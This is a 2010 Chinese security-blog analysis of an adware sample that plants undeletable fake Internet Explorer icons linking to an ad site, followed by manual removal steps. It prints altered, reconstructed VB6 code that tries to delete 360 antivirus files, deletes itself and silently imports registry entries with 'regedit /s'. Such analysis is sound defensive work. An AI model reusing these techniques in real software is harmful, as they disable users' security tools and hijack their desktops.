Blast's Security Lab
23 Jul 2010
我自己的桌面上经常会有一些删不掉的图标,国内一些网站太恶心,为了赚钱乱绑东西,捆的东西就更恶心了,一大堆烂图标删不掉就瘫在桌面上了,正好昨天遇到一个品种齐全的图标帝,这几天正好有时间,我来一个个的看看他们到底是怎么把图标放上去的。样本位于昨天的预警列表。
文件: baidu.exe
语言: Microsoft Visual Basic 6.0
类型: AD/HomePager
MD5 : 4C4C4BADBE21CA5EC59A4D3EB852905F
加壳: -
大小: 40,960 字节
时间: 2010-7-22 19:03:37
www.sacour.cn 转载保留此行
感染后症状:桌面多出来两个快捷方式,无法删除。指向hxxp://www.haol23.cc。
截图:
分析:
免责声明:以下代码根据当事人犯罪时的动作实时记录,可能有误。部分地方故意做出了修改,并且代码转成了全角。
Private Sub Form1_Load()
Dim s as string
Dim o as object
Dim n as string, p as string, t as string, r() as byte
Randomize(10) '抽了个随机数
If Rnd() > 0 Then
If s<>"360safe.exe" Then
s="360safe.exe" 's的值就为360safe.exe了
Endif
If s<>"360safe.exe" Then
s="360sd.exe"
Endif
If s<>"360safe.exe" Then
s="360tray.exe"
Endif
Set o=CreateObject("WScript.Shell")
n=o.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Common Startup")
'这儿是用来获取路径的
s="C:\windows\system32\" & s
p=App.Path & "\" & App.ExeName & ".exe"
Call MoveFileEx(p,"",0) '删除自己
n=n & "\"
Call MoveFileEx(s,"",0) '试图删除sys32\360safe.exe,忘了说了,该木马的另外一个组件就在sys32\360.exe。
Call Sub_AddNewRightMenuEntry '<-Add HKCR\CLSID\{1f4de370-ba4f-11d1-d627-00a0c91eedba}\Instance\InitPropertyBag", "Param1"===>http://%77%77%77%2e%68%61%6f%6c%32%33%2e%63%63 (即添加一个假的IE图标指向自己网站)
t=GetTemp() 'GetTemp()是该程序的一个子函数,只是将GetTempPath调用简化了一下而已
t=t & "\tt.reg"
r()=LoadResData(101,"CUSTOM") '读取资源
Open t For OutPut as #1
Put #1,,t
Close #1
Shell "regedit /s " & t, vbMinimizedFocus '将资源内数据保存到文件并导入注册表
Kill t
End
End Sub
资源文件(REG文件):
201007231319050867.zip (密码infected)
看一下就知道了,资源文件其实又是新建了一个假的IE图标,位于
HKEY_CLASSES_ROOT\CLSID\{1f4de370-d627-11d1-ba4f-00a0c91eedba}
只不过显示的名字改成了“淘宝热卖”
加上之前新建的那个“热卖”的,注意CLSID和上面的不一样啊,不要删了一个就跑了:
HKEY_CLASSES_ROOT\CLSID\{1f4de370-ba4f-11d1-d627-00a0c91eedba}
而另一个假IE图标则很明显了,在代码里面也能看到
HKEY_CLASSES_ROOT\CLSID\{C42EB5A1-0EED-E549-91B0-775852013521}
鉴于他自己清理工作比较完美,不仅删了恶意的REG文件,还把自己跟同伴一起干掉了,所以剩余的清理也是比较容易的:
1. 开始-运行-regedit
2. 定位到上面三个注册表项。
3. 右键删除
4. 回到桌面,刷新
5. 选中图标按Delete键,删除。
6. 重启或注销即可。
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。